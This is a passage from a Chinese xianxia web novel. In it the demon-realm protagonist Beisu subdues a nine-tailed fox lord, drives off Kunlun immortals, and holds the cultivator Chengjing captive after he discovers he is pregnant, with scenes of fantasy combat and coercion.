北溯没有回答,偏了头看他,黑暗中几乎看不出他的身形,不得不说他这个肤色确实很容易融入黑暗。 “我可以帮你见到她,但我有个条件。” 话音刚落,一道威压碾着他的身体,隐约能听见骨头断裂的清脆声响。 他被迫跪在北溯面前,头都没法抬起来。 而动手的人垂眼看他,语气森冷:“你还敢与我谈条件?” 雾漓似是感觉不到骨头断裂的痛,低笑道:“殿下若是想见她,只能答应我的条件。” 他威胁:“你没有别的路可以走。” 回答他的是沉默。 北溯确实不知道魔界里都藏着什么,进入魔渊的入口必然不止这一条,但面前这条是最快的。 他在魔界待了多年,比她了解魔界,即使她抓来别的魔将,也不会知道的比他多。 北溯蹲下,与雾漓平视,平静地看着这张露出笑的脸,越看越想将这张脸刮花。 真贱啊。 “说吧,你的条件。” 雾漓脱口而出:“我只要殿下陪我一晚。” 北溯凝视着他,在他这双被黑暗淹没的眼中,看出了癫狂杀意。 她笑了。 “好啊。”她站起身,忽略自己答应后,他浑身爆发的兴奋,附加了一个条件:“但至于是什么时候,由我来定。” 雾漓说好。 威压撤去,他站起来,甩动四肢,卡擦声响,骨头接上,紧接着他走向深渊边缘,整个人融化成魔气,变形拉长,探向深渊上空。 魔气触碰到的空气无形波动,北溯清晰看见那处有什么胶质物一般的东西被钻出一个洞,暂时没有任何危险气息。 那洞被开到两米多宽,魔气回来,雾漓捂着胸膛大口喘息,冲北溯咧嘴笑:“开了。” 北溯扫他一眼,冲入口扬起下巴,说:“你先进去。” 雾漓没有动,问她:“你不信我?” “我拿你挡伤。” 雾漓这才进洞,北溯随之跟上。 穿过洞口的一瞬间,北溯在其周围设下阵法,隐藏洞口。 入目的是几乎一样的黑夜,月缺了一角。 北溯多看了会那皓月,再一转视线,雾漓已经走远几米。 “殿下要小心,这里的魔可没魔域的和善。” 话音刚落,魔气袭击,北溯偏身躲开,捕捉到魔气源头,闪身过去,一掌轰下,魔气四散。 雾漓跟上来,见她完好无损,颇为遗憾。 “这里离她有多远?” 雾漓掐灭一只魔,随口道:“她若是知道这里的动静,很快就会来。” 北溯转头看他吊儿郎当的样,心知他不来添堵算不错了,不可能直接带她去见魔尊。 那就要制造动静,引她出现。 北溯散开神识,搜寻周围的魔,这么一查,找到两个有趣的东西。 她收了神识,冲前方而去,丢下一句话:“跟上来。” 雾漓呆滞原地,看她远去的背影,欣喜若狂。 “殿下肯信任我了?她想我与她并肩作战?” 雾漓回过神,立刻追上去,脸上的喜悦溢于言表。 魔界分裂为二,雾漓占据的魔域靠近三界交界处,魔域的入口很容易找到。 但魔渊在魔域后方,除开与魔域相连的深渊,极难从别处找到魔渊入口。 只因魔渊一半连接深渊,一半连接海。那海至今都不知尽头是什么,终年云雾弥漫,便是魔渊的魔,都鲜少从那海里离开,更别提找到入口。 见人去了一处小树林,站在树干上往下看,雾漓选了她对面的位置,也往下看。 小树林里空旷的地面生着火堆烤鸡,五六只魔坐在地面说话。 “我是觉得尊主没必要把魔域让给那只死鸡,他连尊主一根手指头都抵不过,直接杀了他把魔域抢回来。” 北溯挑眉,继续听。 雾漓看向她,见她都没关注自己,冷笑盯着那几只魔,在想要怎么教训这群散布谣言的魔,还敢骂他是死鸡。 “为何尊主要将魔域让出去?” 这句话问的突然,语气听起来很礼貌,与方才那只魔动不动就带脏话格格不入。 他这句话一出,立刻被三道视线盯着,他身侧的另一只魔插话:“我也觉得尊主应当将魔域夺回来。” 北溯盯着这两只魔,若有所思。 魔渊这么快就被昆仑的人潜伏进来了?他们是怎么进来的? 她向雾漓投去怀疑的目光,被他察觉到,疑惑地回望过来。 底下再次响起声音。 “那要想离开魔界去人界,岂不是要经过魔域?但那不是被封了,进不去?” “我怎么知道,又不是我封的,你想知道你自己去问尊主去。” “你们俩怎么问东问西的?迷雾海域巡逻过了吗?” “已经巡逻过。”问为什么的那只魔回了句,与身侧的魔对视一眼,站起身,道:“最近人界好像不太平,我们还是警惕些为妙。” 他这句话没得到回应,他低头看看还在烤鸡的几只魔,眼中杀气一闪而过,他转身离开,那只魔在他身后跟着。 北溯在考虑现在就把那两个冒充魔族的仙尊抓住,还是先在他们身上下追踪术,等他们下一步动作。 已经问出要怎么进魔域,必然是拿魔域结界无招才会绕这么大一个弯子来魔渊。 抬眼看向雾漓,传音问他:“深渊那的结界,只有你和魔渊魔尊才可打开?” 雾漓点了头,刚想说如果她还想来魔渊,可以再答应他几个条件,眼前的身影消失。 一低头,便见她杀了魔,套上一只魔的皮,乍一看,和那只魔没什么两样…… 动作快得他都没看得清。 雾漓跳下去,不满道:“魔族数量本就少,你一次杀这么多。” 被她讽刺。 “在魔界待久了,忘了自己本来是只鸡了?” 雾漓怒极反笑:“或许你该看看眼睛,孔雀和鸡都分不清,只知道那只鸟。” 北溯灭了火,神识追踪那两只老鼠,边走边嘲讽他:“他有翅膀,不是鸟?你有翅膀吗?” 雾漓真想把自己的孔雀尾拔给她看,那只鸟的羽毛有他的好看? 走出小树林,离那两仙尊只隔着一座丘,北溯直接动手,追上去一击轰下,雾漓随后跟上,魔气冲天,炸得山丘摇晃。 两仙尊立刻戒备,一看是两只魔,下意识动手,打了两个来回,察觉到闹的动静太大,退出交战范围,冲那两只魔喊:“我们在巡逻,你们突然攻击我们是何意?” 青龙仙尊在前面喊,白虎仙尊在后面戒备,若是对面认出他们的身份,他们便会直接动手。 北溯冲出魔气,一句话不说,再次攻上去。 雾漓倒是在后头变换了容貌,胡扯一句:“这里早就被分配给我们,你们是从哪冒出来的?” 青龙仙尊一见攻过来的魔就是方才套话不成的那只,以为自己被怀疑了,与白虎仙尊对视一眼,当即动手。 北溯见他们动,毫不客气,聚集魔气引爆,在山头炸开,爆发出的声响与能量波迅速扩散,两名仙尊齐齐联手堪堪抵挡住,被这响声炸得耳鸣。 寂静的夜晚被打碎,沉睡的巨兽苏醒。 两名仙尊脸色一变,毫不恋战,立刻施传送阵离开。 雾漓看到的时候已经来不及阻拦,传送阵的最后意思光亮湮灭,他盯着那阵法消散的位置,面露狠色。 “一样的招式,当初用来杀人,现在用来逃跑。” 北溯没管跑的两只,转身面向东方,漆黑的苍穹显露两只猩红巨眼,黑暗之中,一只巨兽悄然无声出现 ,盯着他们。 雾漓一见那两只眼睛,冲北溯道:“她就在你面前。” 魔渊的魔尊也是妖兽堕魔,除开魔渊的魔,无人见过她的本体。 北溯也不知。 她仰头直视那双眼,没有惧意,只有战意。 下一秒,苍穹划过一道亮光,照亮了那巨物,虽然只有短短一瞬间,足以他们看清楚。 一只数丈高的九尾狐,眉心堕魔红印,狐吻狭长,獠牙尖锐,浑身毛发如钢筋坚硬,身后的九条狐尾参天,微微一晃,带来剧烈罡风。 北溯飞身而上,半空中身上伪装撕裂,白色身影一闪而过。 光亮隐没,什么都看不见了。 雾漓仰头,眼里全都是嗜血杀意。 “杀了她,杀了她……”他重复着这句话,身体躁动,恨不得自己也加入战局。 但看到那道白色身影身后砸下的千斤重的狐尾时,直接拔出匕首上去捅,还没靠近,被狐尾横扫击飞。 他站在废墟上,紧握匕首,心知这不是自己能加入的,只能四处搜寻那道白色身影。 几乎刚找到,下一秒人就不见了。 他咒骂:“你最好死在她手下,不然我定会再捅你一刀。” 北溯听不见他的声音,只觉得浑身血液沸腾,很想与这位魔尊决个高下,理智告诉自己,来这的任务没有完成。 她停了攻击,改而限制巨兽的行动,禁锢巨兽。 弯月浮现苍穹的一瞬,整个魔渊都被照亮。 雾漓仰头望着阵法之上的白衣女子,眼神迷离,透着几分崇拜。 “三百年了,她一点都没变。” 下压的阵法受到阻力,北溯喉间涌出丝丝腥味,咽回去,继续加大输出。 这是一场焦灼战,看谁能坚持得久。 在雾漓的视角,好似过去了三个时辰,那道阵法忽然压了下去,顺滑得犹如物体坠落。 云雾平静下来,黑夜再度安静。 他猛然冲过去,搜寻那道身影,但什么都没找到。 身子一僵,低头看地面,一点缝隙都不错过许久之后,一道女声响起,他立刻去看,只见那白衣女子轻轻松松落地,边上站着一名紫衣女子。 雾漓看了她好一会,半晌冷笑,握着匕首冲她而去。 在接近她的瞬间,被击中手腕,拍飞匕首。 一脚踹上胸膛,他倒退着差点跪在地上,捂住被她踹的位置,呼吸急促,手腕都没了知觉。 “还想杀我,”北溯扫视他此刻狼狈的模样,冷嗤:“真不长记性。” 她没再理他,控制着身侧的紫衣女子离开。 雾漓直勾勾盯着她的背影,杀气沸腾,越发兴奋:“你又没死啊……” 他缓了会,捡起匕首,跟上去。 魔渊的魔宫构造与魔域没什么区别,北溯随意找了个位置坐下,目光投向紫衣女子。 是让人看了一眼都不会忘的容貌,即使被困,姿态优雅,举手投足间魅态十足。 不愧是九尾狐,魅相天生,什么都不做,也能勾了魂。 “现在你能听我好好说了?”北溯稍稍松了身子,方才打得有点疼,回去得捏捏肩。 冉姬瑶坐上主位,细细打量这个不速之客。 并非是她被压制住,而是听到此人说的话,察觉到昆仑有异动,这才停手,先听听此人的话再做决定。 魔渊与魔域隔绝百年,被魔域入侵,这一笔账,她要算。 “你先说说看。” 她的容貌攻击很强,声音倒是罕见的柔和。 北溯静了会,才回答:“你们这被两只老鼠咬穿了,你不知道?” 冉姬瑶却笑:“两只老鼠?不就在我面前?” 雾漓没什么反应,他一直在看北溯。 “这两只。” 北溯指尖一弹,星星点点的荧光凝聚成镜,浮现两道身影,正是用传送阵离开魔渊的画面。 冉姬瑶一见画面,捏紧手。 “昆仑的传送阵可随意进出你的魔渊,届时昆仑的老鼠便可啃食魔渊,你再强,能抵抗他们?而我,有办法阻挡他们的传送阵。” 雾漓附和:“魔域外也有这样的老鼠,但他们进不来。” 冉姬瑶沉默良久,才转向北溯,问:“你不会这么好意帮我,你的目的呢?” 北溯扬起笑,道:“我要你归顺我,听我号令。” “不可能。” 北溯笑意不改,松了禁锢阵,起身就走。 “那你便等着他们杀了我之后,就来对付你。” 谁都清楚,昆仑与魔族势不两立,当初封印邪神后昆仑损失惨重,没法再清除魔族,否则他们早就被屠戮殆尽。 如今昆仑再来,杀了邪神,接下来便是魔族。 也别说归降,人与魔终究是异族,谁敢信任异族不会在背后捅刀? 北溯直接回了魔域,看着雾漓将洞口封上,突然说:“若是我吞噬了你的力量,我应是也可开启?” 雾漓背后发寒,控制自己的声音不被听出异样:“没用,除非你身上流我的血。” 为了不让她杀自己,他瞎编的。 “这样吗。” 雾漓松了口气,听到她的话,心再次提起。 “那就把你的血换给我好了。” “你不如直接喝我的血。” 北溯摇头:“恶心。” 她朝雾漓笑笑:“别紧张,我只是开个玩笑。” 她转身,脸上的笑消失,冷着脸回寝殿。 “明日我去妖界,你去吗?” 雾漓当即否定:“我去干什么,看那只死鸟吗?” 话说完,眼前已经没有她的身影。 雾漓低头看自己胸膛被她踹过的地方,伸手摸了摸,冷笑:“你等着,我早晚会讨回来。” 月光隐去,天空微微泛亮,寝殿内的人未眠,也未打坐,只站在对着殿门的位置,不知在想什么。 直到他听见靠近的脚步声,转身要回莲台上。 吱呀一声,门开了,他没来得及回莲台,一道混杂难闻气味的气息涌进来,他蹙眉,忽然觉得不适,喉咙动了动,忍了下来。 女子走进来,那味道越来越重,夹杂着铁锈味,身体的不适感加重,他屏住呼吸不去闻,要离她远一些,她的身影瞬息间靠近,躲都多不了。 血腥味冲入鼻中,屏息也无法阻挡。 她的身体靠得很近,她在说话,可他什么都听不到。 嗅觉被这血腥味刺激,连味觉都被带动,口中好似充满了血,难闻,难吃。 那味道刺激得胃里绞动,喉咙滚动数次,有什么东西要从胃里钻出来。 成镜没能忍住,攥着她手臂偏头呕,却什么东西都没呕出来。 涎水沾上唇,他恶心得干呕,都没什么力气去擦。 他弓着身子,攥紧北溯手臂借力,不知自己嗅到血腥味为何会产生这么大反应。 这反应落入北溯眼中,也是愣了一会。 她不过出去打个架,他怎么一见到她就呕?身上有什么怪味道吗? 北溯嗅了嗅自己衣服,手臂,发丝,没觉得有什么味。 问他:“你呕什么?” 成镜缓了会,松开她,脸色苍白,还没说话,就见她抬手擦过自己的唇,那股血腥味浓郁得冲进鼻中,钻进胃里。 他:“呕——” 第30章 紧闭的殿门被推开,里头的人立刻坐起身,手伸进枕下握住冰凉匕首,见到来人是谁后,不耐道:“你有事?” “你知道孕夫有什么要注意的吗?” 雾漓松了匕首,很不理解她就为了这么个事来找他。 “孕妇要注意什么?你问我?上一个我见过的孕妇是我娘。”他不耐烦地赶人走,“这种事情你来问我——” 声音戛然而止,雾漓瞥见她手背上褐 色痕迹,刚要问,啪一声,门被关上。 雾漓瞪着紧闭的殿门,半晌才说了句:“手怎么了……” 北溯步子很慢地回了寝殿,边走边回想成镜的异样。 一开始以为自己身上有哪里味道难闻,刺激到他,一靠近,他就干呕。 成镜推开她,许是身体不适,都没什么力气,自己擦了唇上涎水,一呼吸又嗅到血腥味,忍不住又干呕。 呕得面色泛红,眼中都泛起了水雾,瞧着甚是破碎,声音都弱了几分。 “你离我远些。” 北溯没有动,可能是自己身上的血引起他不适,但怎么会闻到血腥味就难受? 再一看他那样子,猜到什么,要上手去查他身体情况,被他后退着避开。 许是对她太抵触,又不想再闻到她身上的血腥味,后退的动作幅度太大,也没注意到身后的床,撞到床尾,人就这么倒在床上。 不等他起身,北溯已经压了上去,帷幔困住他身体,掌心按在他腹部,还没探查出来,他挣开帷幔,推开她,迅速起身站好,顿了片刻才去理身上的衣裳。 北溯坐在床边上,若有所思地看着他,等他整理好衣裳,刻意走远上了莲台后,忽然动手割自己的手。 血顺着手臂滑落,沿着指骨分岔,滴落到裙摆上,将白色染红。血腥味渐渐蔓延,随着流出的血越来越多,血腥味加重,直到成镜嗅到那味道,好不容易压下来的不适再度泛起。 他未曾去查血腥味从何而来,施法屏蔽那气味,但身体的反应无法屏蔽。 盘坐在莲台上的人弓着身子,掐住喉咙,不让自己呕出来。 北溯看出他确实是因为血腥味而不适,直接走过去,血顺着指尖滴落,从床边蔓延到几米之外,乍一看,宛如凶杀现场,残忍血腥。 击碎他的屏障,将流血的胳膊横在他面前,即使只站在他身侧,也能清楚看到他看见这只流血的手臂时,产生的厌恶。 几乎是放在他面前的瞬间,被他打偏。力道没收着,打得还挺疼。 打过来的那只手沾上她的血,冰凉的,附骨之蛆一般黏在手背上,黏腻得令人恶心。 成镜只看了一眼,胃里翻江倒海,眼前反复闪现她鲜红黏稠的血液,人宛如陷入满是血浆的池子里,血腥味四面八方包围过来,令人窒息。 他偏头盯着莲台上洁白花瓣,捂住口鼻,动用灵力驱赶这难闻恶心的味道,死死扣住自己脖颈,强忍着不呕出来。 莲香渐渐散发,意图遮盖血腥味,这淡淡的香味与血腥味交融,无法压制,而是被吞噬。 北溯仿佛嗅不到血腥味似的,证实心中猜想后止住血,随便擦了几下,绕到他面前,直接去探他腹部。 成镜反应很大地一掌击过去,被北溯化解,染上血的手握住他攻击过来的手,另一手快速按住他小腹,在他即将进行第二次攻击时,松开双手往后撤,扬唇道:“道君的身体确实好用。” 她留下这句话,直接离开,去问雾漓孕夫应该注意些什么。 她记得人族孕妇如若照顾不当,会流产,不知金莲会不会如此,她可不想鳞舞没了。 结果雾漓不知道。那可难办了,她也不知道。 只知道怎么有孩子,不知道怎么养,要去人界找有经验的女子问问吗? 北溯回到寝殿内,一开门,浓重的血腥味扑面而来,没看到成镜人。 她在门口站了会,低头看自己手背干涸的血迹,抬手舔了一下,很难吃的味道。 她转身面向地平线泛红的天空,笑了笑,眼底只有冷意。 神识展开,很快捕捉到那道往界碑而去的身影,兴奋起来。她朝着界碑一步步走去,没有立刻出现在界碑前,将人抓回来。 如那已经将猎物锁定的猎手,看着猎物逃跑,自以为能逃出猎手追捕,实际上一切都在掌握之中。 不过是想捉弄捉弄猎物,在猎物生出逃脱的希望时,出现在他面前,看他错愕,看他绝望。 放出的威压警告所有魔,不许攻击这个人族修士。 北溯所到之处,众魔皆臣服,后退着隐没。 她走到来魔域第一晚时,曾经走过的路,离界碑越近,他的气息越明显。 有一丝慌乱,但显然不是怕被她抓住,而是无法接受自己身体的反应,从未想过自己的身体真的会被用来孕育生命。 在她离开前,便已经察觉到身体反常是因何引起的,她离开后,当即动手去将身体里不该存在的东西抹杀。 但失败了。 灵力一接触到丹田,被丹田吸收,甚至他试过凝聚灵力击打自己腹部,灵体击入体的一瞬,他感知到了一道极为微弱的气息,还有一个声音,找不到是谁在说,脑中自动响起这个字。 “疼。” 那声音响起后,他竟然再也狠不下心去除身体里的异物,呆滞许久,才找回知觉,环视寝殿,找到昆仑镜,收了莲台直接离开。 他不能再留在此处。 了解邪神的过去也好,调查邪神对人界的阴谋也罢,他都不能再留下,更何况肚子里还多了个不知道是什么的东西。 但眼前的结界拦住他的去路,恢复的力量不足以他破开结界。 他能看到结界外搜寻的人族修士,但他们似乎看不见他,从他面前不远处走过,再也没回来。 啪嗒一声,有什么东西落地,与石子碰撞。 成镜缓缓转身,看到追上来的她。 她的步伐缓慢,每一步都踩在他心上,压得心口喘不过气。她像是前来索命的厉鬼,每靠近一步,能安然逃出去的可能就少一分。 北溯在他身前三米处站定,歪头笑着瞧他。 “怎么不出去?” 猎手在观察猎物的状态,看他是不是会拼尽全力一搏,即使代价惨重。 “我说过,你只需要乖乖待在这,将它生下来,我说不定心情好了,会放你走。” 北溯最不喜欢自己说的话被当做耳旁风,说了一次又一次,就是不听进去。 她往前走了一步,成镜后退,再后退,便会碰到结界。 她没有停,继续靠近,发丝无风自动,脚下阵法亮起,血色荆棘从阵法里爬出来,争先恐后地涌向成镜。 即使没有血腥味,看到这些红色的狰狞之物,身体条件反射地泛恶心。 昆仑镜显现,成镜注入灵力,镜身立刻胀大,镜面灰雾散开,照出北溯的身影。 她的白衣沾血,周身血荆棘包围,邪气外溢扩散,处在她邪气包围的区域,天空都似乎暗了。 昆仑镜将成镜提供的灵力吸收干净,镜面折射出一道身影,眉心那道山形印记尤为夺目。 看到镜中人时,北溯脚步未停,抬手直指那人,荆棘条绷直,刺向镜面。荆棘刺入昆仑镜中,竟然直接能攻击到那人。 而镜中人抬手结印,阵法在他头顶亮起,而此刻两人上空、结界之外,同样的金色阵法显现。仙尊之力降临,冲击结界,力量强悍得被结界卸去的余威击碎山石,天地颤动。 结界裂开,外头本已离开的修士掉头回来,能感觉到周围有能量波动,但找不到最虚弱的位置,只能慢慢搜寻。 这一击并未直接攻击到北溯,但结界还不能破,分出力量修补好后,盯着镜中的老头,折断一根荆棘条,尖刺扎破她的手,吸食她的血,化为匕首射入昆仑镜中,速度飞快,根本来不及躲避。 被邪气包裹的匕首侵蚀那人的防御,直击他心口。 致命危险在前,他不得不断 开阵法,全力阻挡这柄匕首。道道防御结界碎裂,极力卸去匕首上威能,匕首裹挟的力量带来的冲力巨大,他被逼得步步后退,身前最后一道结界碎裂,他反应极快地偏了身体,那匕首深深刺入肩膀,肩头青衣染红。 那匕首竟然化为荆棘条,吸食他的血。 从昆仑镜而入的荆棘条涌进来,欲要穿透他身体。 他徒手将荆棘条拔出来,挥手斩断,欲要去捕捉昆仑镜方位时,眼前镜面折射的景象碎裂,吞云殿内场景映入眼帘。 天枢仙尊回想方才只看到一眼的脸,将其画下,召来仙尊与天綪,问:“此人你可见过?” 天綪摇头:“并未见过。” 天枢仙尊将画扔给她,让她去找。 “找到她,就能找到道君。” 刚才镜面传来的画面有限,只能看到她的脸,周围全都被荆棘条充斥,根本看不出那女子所处之地周围环境,只有这张脸是唯一的线索。 怕只怕这张脸都是假的。 天綪接过画,还未离开吞云殿,便接收到弟子传讯。 “宗主,魔域边界有异动,我等正在探查。” 她当即看向天枢仙尊,而他已经听见那弟子的话。 “不用找了,直接去魔域。”天枢仙尊缓缓扫视殿内三名仙尊,问:“其余几位仙尊呢?” “四星宿仙尊在魔界边缘搜寻,另三位应是在人皇那处。” 天枢仙尊直接叫那三名仙尊与四星宿仙君汇合,将成镜带回来。 “昆仑镜已碎,那女子应当就是邪神,你等小心。” 三位仙尊看他肩膀上伤,齐齐道:“仙尊放心,我等定将道君带回来。” 天綪本打算一起去,被天枢仙尊留下,吞云殿内仅有他们二人时,天枢仙尊才开口:“宗门中可有道君栽种的莲藕?” 天綪立刻道:“道君每年都会在重莲殿储存莲藕,我这便去取来。” 她掉头便走,天枢仙尊低头看肩膀,那里的伤口较之前似乎严重了些,流出的血还会腐蚀衣衫。 “金莲到手,便是你的死期。” 30-40 第31章 昆仑镜碎裂的那一刻,北溯的身影出现在成镜面前,抓住他肩膀往身后一扔,一双手紧紧桎梏住他肩膀,正是赶来的雾漓。 一看到成镜的脸,真想去问问北溯,她究竟看上他哪了。再挑剔看他虚弱的模样,冷哼一声,这么弱,能受得了她? 怎么看都看不顺眼,远处传来轰声,几道身影闪现又消失,不过一会,女子进入结界,夺走他手里的人。 “那几个修士解决了,他们应该还会再派人来,剩下的交给你了。”北溯头也不回,右手紧紧攥住成镜手腕,拉着人往回走。 雾漓看看她,看看地上镜子碎片,再看看外头一地狼藉,心道自己来晚了,没机会捅刀。 他冲北溯背影喊:“与你交手的是谁?”没有得到回答,只有结界外正在靠近的强大气息。 雾漓走出结界,飞身上界碑,远处隐隐有亮点,眯眼去看,瞧见了熟悉的印记,拔出匕首,身影消失。 苍穹中炸开浓雾,七颗光点分散开来,只见一团黑雾冲撞过去,其中两颗光点与黑雾对撞,剩余的全都往结界而去。 雾漓回头看了眼,片刻功夫他们已经动手摧毁结界,他被俩仙尊牵制着,没法回去阻拦。 轻轻叹了口气。 北溯啊北溯,我只能帮到这了,即使我回去也阻拦不了七位仙尊,只能祝你好运,不被他们抓到。 分神的功夫那两名仙尊越过他要去帮着攻击结界,雾漓甩出匕首,拦住他们。 “别走啊,我们再会会。” 天璇仙尊怒视他:“魔族与昆仑之间平和百年,你要为了邪神得罪昆仑吗?” 雾漓耸耸肩,满不在意,握住飞旋回来的匕首,露出笑,冲过去:“无所谓,我可不是在魔界诞生的,魔族与我有什么关系。” 五名仙尊攻击结界无果,四星宿仙尊当即散开,坐四方,结阵。摇光仙尊位于四角中心点,阵法一开,苍穹骤暗,天上星明亮,清晰可见各星宿轮廓。 星宿阵引星辰之力,将所有力量凝聚在摇光仙尊身上,蓄力一击。 刹那间地动山摇,察觉到不对劲的几位魔将纷纷聚集于此,瞧见正攻击结界的仙尊,不远处正牵制两名仙尊已经受伤的雾漓,心知这次怕是很难击退他们。 雾蓉亮出弯刀,出结界杀仙尊,其余几位魔将见状,纷纷跟上。 星宿阵可借星辰之力,但很脆弱,阵法展开时,施法之人完全不能出手防御,一旦有一人中断,另外三人便会遭到反噬。 所以他们唯一的选择,只有抗下伤害,待摇光仙尊破了结界,他们再结束阵法。 魔将确实能近他们身,但他们修为在此,不可能被轻易杀死。且摇光仙尊可分神攻击他们,这可不是人族修士能达到的威能,被击中只有灰飞烟灭这一结果。 雾蓉见分散开根本伤不到他们,打了手势叫魔将们全都盯着最弱的那个下手。 被盯上的朱雀仙尊依旧坚持着不动,只要摇光破开结界,一切便可结束,这群魔将根本不足为惧。 天空一声炸响,震慑心肺。雾蓉停手,寻找声音响起的源头,只见一道黑影迅速回来,雾漓一身是伤,匕首上被绞出了数个豁口。 显然他不敌那俩仙尊。 “尊主,我们要和他们拼个鱼死网破吗?” 雾漓吐出一口血,盯着赶来的俩仙尊,否决:“保住命再说,为了她没了命,不值当。” 他将没用的匕首扔了,掉头就往边上靠,不再拦他们。 转头一看,结界已经有了裂痕,再来几次,就会碎。 他盯着处于中心点的摇光仙尊,眼中露出贪婪之色:“那样的力量,成仙才能有吗?” 雾蓉不赞同雾漓向往成仙,三百年来没有一个成仙的,且昆仑之前就对魔族赶尽杀绝,不可能会给魔成仙之道。 她示意其余魔将回去号令所有魔族,让他们做好准备,一旦这群仙尊有杀他们的倾向,就跟他们死战到底。 结界还是被破开了。 处在寝殿内恢复力量的北溯感知到,睁开眼,起身出去。离开前将成镜拖入梦境,鳞舞已经成型,她不可能让成镜跑了。 一心要解决那七只老鼠,没有注意到成镜进入梦境后,发生的变化。 她站在寝殿外,神识释放,锁定那七只老鼠,以神魂之力攻击,这是唯一在仙尊之力之上的攻击方式,全盛时期的神,可碾压所有仙尊。 但她本就实力大减,又耗费过多灵源,此刻能同时攻击七位仙尊,勉强撑得住。 神魂直接攻击他们的精神灵海,靠近界碑的瞬间,七位仙尊灵海齐齐出现一条黑色巨蟒,将灵海掀翻,巨浪拍打,脑中响起尖锐鸣声。 在边上看着的雾漓与雾蓉诧异,在他们眼中,这七位仙尊忽然同时顿住脚,眼神呆滞,在原地一动不动。 雾蓉冲雾漓道:“尊主,好机会!” 雾漓没做声,却抬手拦住雾蓉。她不解,这次不抓住机会去杀了他们,难道要等他们恢复过来闯入魔域? 不过片刻,七位仙尊七窍流血,目眦欲裂,皆是发出痛苦呻吟。与此同时被破坏的结界再次覆盖魔域上空,地面冲出荆棘,刺穿胸膛,将他们吊着扔出结界。 雾蓉从头到尾盯着那群仙尊被扔出去,想到那日见到的女子,一阵后怕,幸好当初没和她动真格,不然自己怕是也是这个下场。 “他们死了?” 雾漓不置可否,冲雾蓉招手,走过那个不知死活的仙尊,走进结界,摇光击破结界后,没有收着力,剩余的星辰威能几乎将魔界入口处山峰夷为平地,余威碾死几十只魔,若非魔将联手展开结界,死的只会更多。 平静下来后,碎石间冒出数只魔,齐齐望向雾漓,面露愤怒。 “尊主,他们欺魔太甚!根本不把你放在眼里!我们死了这么多同族,定要为他们报仇!” 雾漓不拦他们:“想去就去。” 魔将们以为他认真的,说走就走,被雾蓉狠狠瞪了眼,呵斥道:“尊主都敌不过他 们,你们去送死?” 魔将疑惑:“他们不是被宗主打趴下了吗?” 雾蓉没再说,只放狠话:“谁敢去送死,我就先杀了他。” 一直盯着结界外的魔指着外面喊:“他们要跑了!” 雾蓉回头看,已经不见那七个重伤的仙尊,只能瞧见七颗光点。 “还以为多高尚呢,他们也知道打不过就跑啊。” 雾漓看他们讥笑的样,缓缓道:“把这里清扫干净。” 他直接去找北溯,身影立刻消失。雾蓉冲剩下的魔道:“这几日巡逻仔细些,一有异动直接发讯号。” 清扫的任务交代完,她召集魔将去魔宫商议接下来应对昆仑再次来袭的措施。 雾漓被结界拦住,没能见得着北溯,也无法透过结界探查里头在干什么,他在外头站了会,冲里面喊:“殿下若是需要帮助,尽管来找我。” 他俯身行了个礼,转身离去。 寝殿内漆黑一片,连那扇窗户都透不进来一丝光。 睁大眼仔细看,能瞧见黑暗里隐约闪过的亮光,那不是日光,而是某种富有光泽的东西散发出来的。 殿内陈设碎了一地,有什么不可名状之物在殿内滚动,几乎填满整个寝殿,还有撑破寝殿的趋势。 墙壁有裂痕。在成镜离开前,寝殿内还是完好的。 不知过去多久,那庞然大物才缓缓缩小体型,但依旧巨大。 翠绿的竖瞳睁开,只撑了一会,无力闭上。 与此同时梦境中海水震荡,黑影砸下来,掀起的海浪险些淹没莲台上的人。 成镜抬袖遮住身前,升高莲台,没有去看是什么东西落进来。 不看,也知是谁。 海面逐渐平静下来,有什么东西浮出水面,顺着海浪拍打而起伏。 时间缓缓流逝,从那黑影坠落后,再未有动静,只余下海浪扑打声。一声一声,敲击成镜的心。 他终于睁眼去看,身子稍稍倾斜,宽大的衣袖依旧遮住身前,探出的视线捕捉到海面上漂浮的人,浑身湿透,离得太远,看不出她的状态。 成镜收回视线,目光触及到衣袖下的位置,眸中闪过羞愤,他控制得很好,很快恢复平静。 面上平静,内心却掀起惊涛骇浪。 即使已经过去几个时辰,依旧忘不了看见身体异样时,惊愕到极点后爆发出的杀意足以毁灭整个道宗。 见到她时,真想立刻杀了她。 他等了许久,也不见水面的人有动静,深深压制的杀意涌出来,他闭了眼,试图再次压制,但无法做到。 莲台下降,浮于水面,衣衫垂落,只一伸手,便可碰到她。 她在他前方,要想杀她,必须向前倾身体。但他现在的身体,根本弯不了腰。 成镜掀开衣袖,看到异于常人的身体,眼眸冷得结了冰霜,视线缓缓转向面前不知是生是死的女子,她的身体泡在水里,从进来到现在,没有醒过。 这的确是个好机会。 莲台缓缓来到她身侧,这一次,只要侧身,便可杀她。 成镜静静注视着这张脸,脑中浮现这些日子以来,她对自己所有的羞辱,而杀她的心,却在这次进入梦境后达到顶峰。 她千不该,万不该,打他的主意。 成镜倾斜着身子,一手撑着后腰,一手探向她脖颈。 距离一点点缩短,伸出的手极稳,没有丝毫颤抖。他在想,如果在这里杀了她,自己还能出去吗? 握住女子脖颈的那一刻,彻骨的寒意顺着指尖攀上手臂,传向四肢,将他笼罩。 成镜掐住她的脖颈,缓缓用力。 第32章 脆弱的脖颈一掐即断,只要再用力些,她便会死去,从此不会再有人禁锢他,而她带来的一切屈辱都会消失。 成镜脑海里只有杀了她这么一个念头,掐住她脖颈的手缓缓加重力道,但他没有在掐住脖颈时用全力,仿佛在克制着什么,手背青筋鼓起,骨节泛白。 分明能现在就杀了她,却没有立刻动手。 成镜不知自己此刻心里想的是什么,脑海中只有双眼传达的画面,被水浸泡得皮肤异常白皙,紧闭的眼依旧没有掀开,海水快要将她淹没,只有口鼻浮出水面。 其实他只要将人往水里按,她也会窒息而亡。 成镜回过神时,自己已经这么做了。 手腕以下浸泡水中,她的发在水中飘散,黑发如海藻缠住他的手,蹭过肌肤,丝丝缕缕难以言喻地感觉涌上心头,成镜忽然松了手,反应很大地喘息。 失去拉力的身体下沉,被无边黑暗淹没。 成镜几次调整呼吸,勉强平静下来。将那只被她发丝碰过的手仔细擦干净,将一切外露的情绪收敛,再一看过去,与平常冷静的他没什么区别。 除了—— 成镜低头,死死盯着隆起的腹部,从进入此地到现在,不论他怎么做,都无法恢复成正常模样。 很快发现在这里一切都是假象,此处会将自己的恐惧放大,先前是月亮,这一次,竟然变成了…… 看到自己身体如怀胎孕妇一般,那一刻他动过自裁的念头。 修炼百年,即使是死,也该是为天下苍生而献出生命,而非遭受屈辱,被邪神折磨至死。 